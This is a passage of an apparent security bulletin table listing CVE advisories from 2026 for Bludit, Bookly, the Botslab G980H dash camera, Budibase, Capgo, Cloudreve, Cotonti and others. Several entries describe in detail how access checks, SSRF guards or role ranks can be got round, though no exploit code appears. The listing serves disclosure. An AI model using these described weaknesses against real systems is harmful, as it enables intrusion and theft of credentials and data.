&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93366&quot; target=&quot;_blank&quot;&gt;CVE-2026-93366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bludit--Bludit CMS&lt;/td&gt;
&lt;td&gt;Bludit CMS through 3.22.0 contains a mass assignment vulnerability that allows authenticated users with the Author role to modify privileged page fields reserved for administrators by injecting reserved parameters into a content save request. Attackers can submit reserved fields such as type and username through the Pages::edit() function in bl-kernel/pages.class.php, which iterates all fields declared in dbFields without per-field authorization, enabling an Author to convert pages to static site-wide navigation entries or transfer page ownership to arbitrary accounts.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93364&quot; target=&quot;_blank&quot;&gt;CVE-2026-93364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bookly--Bookly&lt;/td&gt;
&lt;td&gt;The Bookly WordPress plugin before 28.3 does not properly verify a customer&#039;s identity before updating their stored details, allowing unauthenticated attackers who know a customer&#039;s primary identifier to overwrite that customer&#039;s stored personal information such as name, email and address.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86837&quot; target=&quot;_blank&quot;&gt;CVE-2026-86837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware contains a hard-coded root account password that cannot be changed by the user. An attacker who obtains the firmware or has physical access to the device could recover the credential and use it to obtain root access through the UART interface.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79959&quot; target=&quot;_blank&quot;&gt;CVE-2026-79959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware transmits sensitive information over unencrypted HTTP and RTSP connections. An attacker capable of intercepting communications on the device&#039;s WiFi network could obtain stored recordings, live video, location information, images, diagnostic logs, or other sensitive information exchanged between the device and its mobile application.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82585&quot; target=&quot;_blank&quot;&gt;CVE-2026-82585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware contains a path traversal vulnerability in its HTTP server. An attacker with access to the device&#039;s WiFi network could submit a crafted request to access files within the device&#039;s removable storage that were not intended to be directly accessible through the web server. Exposed files could include recordings, images, diagnostic logs, or firmware files.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82708&quot; target=&quot;_blank&quot;&gt;CVE-2026-82708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware does not require authenticated pairing or client binding before permitting access to Bluetooth Low Energy communications and GATT characteristics. An unauthenticated attacker within Bluetooth range could intercept or directly retrieve sensitive device information, including device identifiers, firmware information, and protected WiFi credentials.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84403&quot; target=&quot;_blank&quot;&gt;CVE-2026-84403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware contains an authentication vulnerability in the root account exposed through the device&#039;s UART interface. The affected account does not require a password before granting access to a privileged system interface, and the interface also displays the device&#039;s WiFi password during startup. An unauthenticated attacker with physical access to the device could connect to the UART interface, obtain root privileges, and recover the WiFi password.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88956&quot; target=&quot;_blank&quot;&gt;CVE-2026-88956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware uses a hard-coded cryptographic key and initialization vector to protect WiFi credentials communicated by the device. An attacker who obtains the protected credential and extracts the cryptographic material from the firmware could recover the WiFi password and gain unauthorized access to the device network.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75558&quot; target=&quot;_blank&quot;&gt;CVE-2026-75558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware contains an out of bounds write vulnerability in its command processing functionality. An authenticated attacker with adjacent network access could submit crafted command data that corrupts memory, potentially disrupting authentication state or causing the affected process to terminate and the device to restart, resulting in a temporary denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87118&quot; target=&quot;_blank&quot;&gt;CVE-2026-87118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware generates the default WiFi password using predictable device information, portions of which are advertised by the product. An unauthenticated attacker within WiFi range could potentially determine the remaining password characters through limited guessing and gain unauthorized access to the device network.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88761&quot; target=&quot;_blank&quot;&gt;CVE-2026-88761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware includes sensitive configuration information, including WiFi credentials, in diagnostic logs generated during the support process. These logs remain accessible on removable storage after the support operation has completed. An unauthenticated attacker with physical access to the storage media could retrieve the logs and obtain sensitive device information.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82716&quot; target=&quot;_blank&quot;&gt;CVE-2026-82716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;brainstormforce--Spectra Legacy Gutenberg Blocks&lt;/td&gt;
&lt;td&gt;The Spectra Legacy - Gutenberg Blocks plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.20.0 via the editor_assets function, which exposes the uag_insta_linked_accounts option through the uagb_blocks_info object without a capability check. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including raw Instagram Graph API access tokens configured by an administrator. Exploitation requires the Spectra Pro plugin to be active with a linked Instagram account.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16302&quot; target=&quot;_blank&quot;&gt;CVE-2026-16302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase server before 3.45.0 contains a cross-tenant information disclosure vulnerability in the GET /api/applications/:appId/appPackage endpoint that allows authenticated users to read another tenant&#039;s application metadata and source code. Attackers can supply a victim tenant&#039;s app id to retrieve sensitive application details including navigation structure, role names, internal screen URLs, JavaScript snippets, and user identifiers without authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100688&quot; target=&quot;_blank&quot;&gt;CVE-2026-100688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase before 3.45.0 contains an unauthenticated server-side request forgery and credential exfiltration vulnerability in the Microsoft Teams webhook endpoint that accepts forged Bot Framework activities with arbitrary serviceUrl values. Attackers can submit a crafted POST request to inject an attacker-controlled serviceUrl that is persisted and used for all subsequent bot replies, causing the server to send live Microsoft OAuth access tokens in Authorization headers to the attacker&#039;s host and enabling blind internal network access.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100681&quot; target=&quot;_blank&quot;&gt;CVE-2026-100681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase Server before 3.45.0 fails to redact plaintext datasource credentials before broadcasting external table updates to the Builder collaboration websocket room. Attackers with Builder access can intercept unredacted datasource objects containing database passwords and API keys by observing table save or delete operations.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100687&quot; target=&quot;_blank&quot;&gt;CVE-2026-100687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ByteDance--Coze Scraper Extension&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in ByteDance Coze Scraper Extension up to 2.0.2. Affected by this vulnerability is the function chrome.runtime.onMessageExternal.addListener of the file static/background/index.js of the component External Message Handler. The manipulation of the argument body.url/paginationConfig/xPathConfig/body.urls/xPaths results in missing authorization. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96680&quot; target=&quot;_blank&quot;&gt;CVE-2026-96680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app backend, versions â‰¤ 12.261.0) improperly restricts which roles the apikey_manager organization role may bind to newly created API keys. When an authenticated user holding only apikey_manager (permissions org.manage_apikeys and org.read) calls POST /apikey with a JWT session, the only checks applied are the org.manage_apikeys permission, a fixed deny-list of assignable role names (APIKEY_MANAGER_DENIED_ASSIGNABLE_ROLES in public/apikey/scope.ts), and a priority-rank comparison in createRoleBindingForPrincipal (private/role_bindings.ts). No check verifies that the caller actually holds the permissions conferred by the role being assigned. Because the deny-list omits the deploy roles app_developer, app_uploader, channel_developer and channel_uploader, and apikey_manager is seeded with priority_rank 78 - higher than those roles&#039; ranks (68, 66, 58, 57) - the rank check also passes. As a result, an apikey_manager who cannot upload bundles or promote channels can mint an API key bound to a deploy role and use it to push arbitrary OTA JavaScript updates to all end users of the organization&#039;s apps. As of the advisory publication no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100611&quot; target=&quot;_blank&quot;&gt;CVE-2026-100611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;capgo.app is an over-the-air (OTA) update platform for Capacitor apps. In all versions up to and including the current release (no patch available at time of publication), the `transfer_app()` database function transfers an app, its channels, versions and related records to a destination organization without deleting or revalidating existing rows in `channel_permission_overrides`. As a result, a user who legitimately held a channel permission override while a member of the source organization retains that override after the transfer, even though they have no membership and no RBAC binding in the destination organization. Using their own authenticated JWT against the PostgREST API, such a former member can modify the destination-owned channel to point at a different bundle, causing the /updates endpoint to serve an attacker-selected application version to devices. The previously proposed fix for GHSA-626c-p6fq-3whq (PR #3093), which validates organization membership when an override is created or updated, does not remove overrides that became stale as a result of an app transfer.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100613&quot; target=&quot;_blank&quot;&gt;CVE-2026-100613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;capgo.app is an over-the-air update platform for Capacitor apps. In all versions prior to a fix, the row-level security UPDATE policy on the public.orgs table permits an organization admin (a user holding org.update_settings) to update the entire row, including the internal billing pointer column customer_id. The official organization update endpoint (supabase/functions/_backend/public/organization/put.ts) allowlists only a small set of editable settings fields and excludes customer_id, and the private Stripe billing route separately requires the org.update_billing permission. By sending an update directly to Supabase PostgREST, an authenticated org admin without org.update_billing can null or corrupt the organization&#039;s Stripe customer pointer, causing plan and billing checks that trust orgs.customer_id to fail and moving the organization from a valid paid plan state to unpaid/no-plan behavior. At the time of the advisory no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100616&quot; target=&quot;_blank&quot;&gt;CVE-2026-100616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo.app before 12.264.5 does not enforce upload expiry or build lifecycle state in the /build/upload/:jobId TUS proxy endpoint. When a native build request is created, an upload_expires_at timestamp (one hour) and a &#039;pending&#039; status are stored in build_requests, but the upload proxy loads only app_id, owner_org, builder_job_id, and upload_path and checks only the app.build_native permission before forwarding POST, PATCH, and HEAD requests to the internal builder. As a result, an authenticated caller holding app.build_native permission for the app can continue writing to the build upload session after the stored expiry has passed or after the build has moved beyond the upload phase, unless the separate builder service independently rejects the request. The issue is fixed in 12.264.5.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100624&quot; target=&quot;_blank&quot;&gt;CVE-2026-100624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app backend) before 12.127.5 contains an authorization flaw in the PATCH /private/role_bindings/:binding_id endpoint. The handler verifies that the newly assigned role&#039;s priority rank does not exceed the caller&#039;s own rank, but - unlike the DELETE handler - it never checks the rank of the role currently bound to the target binding. An authenticated user holding the org_admin role (rank 90) can therefore change an org_super_admin binding (rank 95) to a lower-privileged role such as org_member (rank 75). Because the prevent_last_super_admin_binding_delete database trigger fires only BEFORE DELETE and not on UPDATE, an org_admin can demote every org_super_admin, leaving the organization with no super administrator. The issue is fixed in 12.127.5.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100629&quot; target=&quot;_blank&quot;&gt;CVE-2026-100629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) contains an incomplete access-control/content-lock enforcement issue affecting all versions; no patch is available at the time of publication. The `enforce_encrypted_bundle_trigger` / `check_encrypted_bundle_on_insert` content lock in supabase/schemas/prod.sql exempts `app_versions` rows whose previous `storage_provider` is `r2-direct`, so delivery-critical columns (name, app_id, session_key, key_id, storage_provider, r2_path, external_url, checksum, manifest, native_packages) remain mutable while a row is in that state. Separately, the channel/version join used by the `/updates` endpoint (supabase/functions/_backend/utils/pg.ts) filters only deleted versions and does not exclude `r2-direct` versions, so such rows remain OTA-selectable. An attacker holding a Capgo API key with bundle write/upload permission can create or keep a bundle version in the `r2-direct` state, assign it to a channel, and then modify these fields via direct PostgREST requests, causing altered bundle metadata (for example checksum and session_key) to be served to devices through `/updates`. This bypasses the post-upload content immutability hardening added for a previous app_versions metadata-tampering issue.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100621&quot; target=&quot;_blank&quot;&gt;CVE-2026-100621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;capgo through 12.128.2 contains an insecure direct object reference vulnerability in the PUT /app/:appId endpoint that accepts attacker-controlled icon storage paths. Authenticated users can supply arbitrary paths in the private images bucket and obtain service-role-signed URLs valid for 7 days to read cross-tenant objects including user avatars, organization logos, and app icons without authorization.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100626&quot; target=&quot;_blank&quot;&gt;CVE-2026-100626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;capgo.app before 12.128.12 fails to enforce an organization&#039;s API key expiration policy when creating app-scoped API keys. In the POST /apikey endpoint, requests that supply app_id but omit org_id, limited_to_orgs, and expires_at resolve the target app and scope the key to it, but never add the app&#039;s owner organization to the list of organization IDs passed to validateExpirationAgainstOrgPolicies; because that list is empty, the validation returns early. As a result, an authenticated organization member can create a non-expiring app-scoped API key even when the owning organization has require_apikey_expiration enabled and a max_apikey_expiration_days limit configured. The issue is fixed in version 12.128.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100628&quot; target=&quot;_blank&quot;&gt;CVE-2026-100628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chartbrew--chartbrew&lt;/td&gt;
&lt;td&gt;Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.2, Chartbrew&#039;s server/modules/safeRequest.js calls validateOutboundUrl() to resolve and validate a target hostname, but request-promise performs a separate DNS resolution for the actual connection. An authenticated user who can create or test API connections and controls the target DNS name can return a public address during validation and a private address during the request, bypassing the protections implemented by server/modules/outboundTargetPolicy.js. This DNS rebinding condition can expose internal services, localhost resources, or cloud metadata endpoints. This issue is fixed in version 5.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61743&quot; target=&quot;_blank&quot;&gt;CVE-2026-61743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chengdu Feiyuxing Technology--Feiyu Star Router&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Chengdu Feiyuxing Technology Feiyu Star Router B-MB5E202-210322-r11656. This impacts an unknown function of the file /send_order.cgi?parameter=del_expmac. The manipulation of the argument mac results in command injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94138&quot; target=&quot;_blank&quot;&gt;CVE-2026-94138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chillzhuang--SpringBlade&lt;/td&gt;
&lt;td&gt;A weakness has been identified in chillzhuang SpringBlade up to 5.0.2. This affects the function UserServiceImpl.userInfo of the file blade-service/blade-system/src/main/java/org/springblade/system/service/impl/UserServiceImpl.java of the component user-auth-info Endpoint. This manipulation of the argument userId causes authorization bypass. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. CVE-2026-56100 and CVE-2026-36765 are distinct issues. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97368&quot; target=&quot;_blank&quot;&gt;CVE-2026-97368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chonkie-inc--littrs&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in chonkie-inc littrs 0.6.1/0.6.2. Impacted is the function Sandbox::mount of the file crates/littrs/src/lib.rs. Executing a manipulation of the argument relative can lead to path traversal. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97365&quot; target=&quot;_blank&quot;&gt;CVE-2026-97365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cloudreve--cloudreve&lt;/td&gt;
&lt;td&gt;Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.createDownloadTask so a wrapper embedding a loopback, private, link-local, or cloud metadata IPv4 address is classified as public and fetched, exposing internal service responses and cloud instance credentials. IPv4-mapped IPv6 addresses remain blocked because Go converts that form with net.IP.To4. This issue is fixed in version 4.18.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79913&quot; target=&quot;_blank&quot;&gt;CVE-2026-79913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cloudreve--cloudreve&lt;/td&gt;
&lt;td&gt;Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101048&quot; target=&quot;_blank&quot;&gt;CVE-2026-101048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cloudreve--cloudreve&lt;/td&gt;
&lt;td&gt;Cloudreve before 4.16.1 fails to revalidate share access when restoring cached navigator state from a context_hint UUID. Attackers who previously had valid share access can replay the cached hint to generate signed file URLs for up to 300 seconds after the share is deleted, expires, or reaches zero remaining downloads.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101056&quot; target=&quot;_blank&quot;&gt;CVE-2026-101056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;codexpert--ThumbPress Compress Images, Manage Thumbnails, Detect Image Issues, WebP/AVIF, Lazy Loading, Hotlinking &amp;amp; More&lt;/td&gt;
&lt;td&gt;The ThumbPress plugin for WordPress is vulnerable to unauthorized access in versions up to and including 6.2.1. This is due to missing capability checks and nonce verification in the send_deactivation_survey() function registered via the wp_ajax_pl-plugin-deactivation AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to deactivate the ThumbPress plugin on the affected site by sending a crafted POST request to admin-ajax.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7622&quot; target=&quot;_blank&quot;&gt;CVE-2026-7622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;collective--icalendar&lt;/td&gt;
&lt;td&gt;icalendar is an RFC 5545 compatible parser and generator of iCalendar files for Python. From 6.1.0 until 7.2.2, vInt.from_ical accepts an attacker-controlled VALARM REPEAT value and applications that request alarm times can eagerly expand it without an application-level limit. Alarms.times and Alarms.active reach the unbounded expansion in versions starting with 6.1.0, while Alarm.triggers adds a second affected path starting with 7.0.0. Parsing alone does not trigger the issue, but accessing these properties can consume excessive CPU time and heap memory and terminate or stall a service. This issue is fixed in version 7.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77399&quot; target=&quot;_blank&quot;&gt;CVE-2026-77399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Conekta Group--Conekta Payment Gateway&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Conekta Payment Gateway &amp;lt;= 6.2.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95527&quot; target=&quot;_blank&quot;&gt;CVE-2026-95527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 contains a reflected cross-site scripting vulnerability in the search plugin highlight parameter that performs no HTML or JavaScript escaping. Attackers can craft malicious links with injected JavaScript in the highlight parameter that executes in the browser of any visitor who opens the link, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100521&quot; target=&quot;_blank&quot;&gt;CVE-2026-100521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 contains a reflected cross-site scripting vulnerability in message.php where the lng parameter is not properly escaped before output in the confirmation dialog. Unauthenticated attackers can craft malicious links with script payloads in the lng parameter to execute arbitrary JavaScript in victim browser sessions.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
